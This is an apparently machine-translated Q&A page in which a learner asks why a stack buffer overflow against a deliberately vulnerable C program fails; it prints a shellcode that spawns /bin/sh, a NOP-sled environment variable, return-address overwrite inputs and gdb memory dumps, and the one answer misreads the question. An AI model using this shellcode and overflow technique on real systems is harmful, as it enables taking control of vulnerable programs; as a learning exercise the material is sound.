Простое переполнение буфера Эксплойт с шеллкодом не работает - PullRequest
6 голосов
/ 05 апреля 2020

Я сделал c уязвимый C код и попытался его использовать, но, похоже, он не работает, хотя я скопировал другие примеры. Я прошу прощения, если я включил много кода.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hello(char *name){
    char name_buffer[24];

    strcpy(name_buffer, name);
    printf("Hello %s\n", name_buffer);

}

int main(int argc, char **argv){
    hello(argv[1]);
    return 0;
}

Это то, что он показывает, когда я его выполняю

perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x00\x00" x 40' | ./a.out
Segmentation fault (core dumped)

Адрес на входе является адресом переменной среды SHELLCODE

cat shellcode
1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
//shellcode is "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" printed and piped using perl

export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode)

, когда я запускаю программу в gdb:

run $(perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x01\x02" x 30')
// I added "\x01\x02" because if I just put \x00\x00 instead it won't get read due to bash ignoring null bytes. I did this so I can see that the SHELLCODE address is put is correctly put in place of the actual RIP
// break at line of strcpy(name_buffer, name);
i f
Stack level 0, frame at 0x7fffffffdcc0:
 rip = 0x555555554696 in hello (test.c:8); saved rip = 0x5555555546e6
 called by frame at 0x7fffffffdce0
 source language c.
 Arglist at 0x7fffffffdcb0, args: 
    name=0x7fffffffe117 "Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177", <incomplete sequence \351>...
 Locals at 0x7fffffffdcb0, Previous frame's sp is 0x7fffffffdcc0
 Saved registers:
  rbp at 0x7fffffffdcb0, rip at 0x7fffffffdcb8
(gdb) x/24xg name_buffer
0x7fffffffdc90: 0x0000000000000001  0x000055555555473d
0x7fffffffdca0: 0x00007ffff7de59a0  0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdcd0  0x00005555555546e6
0x7fffffffdcc0: 0x00007fffffffddb8  0x0000000200000000
0x7fffffffdcd0: 0x00005555555546f0  0x00007ffff7a05b97
0x7fffffffdce0: 0x0000000000000002  0x00007fffffffddb8
0x7fffffffdcf0: 0x0000000200008000  0x00005555555546c4
0x7fffffffdd00: 0x0000000000000000  0xb9bb56fbb5ab9e21
0x7fffffffdd10: 0x0000555555554580  0x00007fffffffddb0
0x7fffffffdd20: 0x0000000000000000  0x0000000000000000
0x7fffffffdd30: 0xecee03ae818b9e21  0xecee13118ed59e21
0x7fffffffdd40: 0x00007fff00000000  0x0000000000000000

Как видите, обратный адрес равен 0x7fffffffdcb8, который равен 0x00005555555546e6

Продолжение , мы видим, что он успешно перезаписывается в 0x7fffffffdcb8 на 0x02017fffffffe95a :

x/24xg name_buffer
0x7fffffffdc90: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdca0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcb0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcc0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcd0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdce0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcf0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd00: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd10: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd20: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd30: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd40: 0x02017fffffffe95a  0x02017fffffffe95a

Я попытался с входом, повторяющим адрес только один раз, дважды и случайными значениями, но ошибка остается одни и те же. Я скомпилировал код C, используя:

gcc test.c -fno-stack-protector
//and also with
gcc test.c -fno-stack-protector -fno-mudflap

Я сомневаюсь, что проблема связана с шелл-кодом, поскольку я только скопировал его.

Редактировать: я получаю ошибку Program recieved signal SIGILL, Illegal instruction 0x0007fffffffffeaac in ?? (). Я думаю, это потому, что я удалил suid из программы a.out, но когда у него есть suid, я не могу найти переменную окружения, как если бы у нее не было suid, это показывает, что все адреса пусты:

x/32s $rsp + 0x500      // where I normally find SHELLCODE variable
0x00007ffffdea4521: ""  // and the addresses are also very different than without suid
...

1 Ответ

3 голосов
/ 11 апреля 2020

Ваш код работает отлично.
Поскольку вы используете аргумент командной строки, вам также необходимо передать и входную строку.
Output Screen Image Link Это как я выполнил.

gcc filename.c    

и вот как я выполнил.

./a.out AnkitMishra

Вот что я получил в качестве вывода:

Hello AnkitMishra
...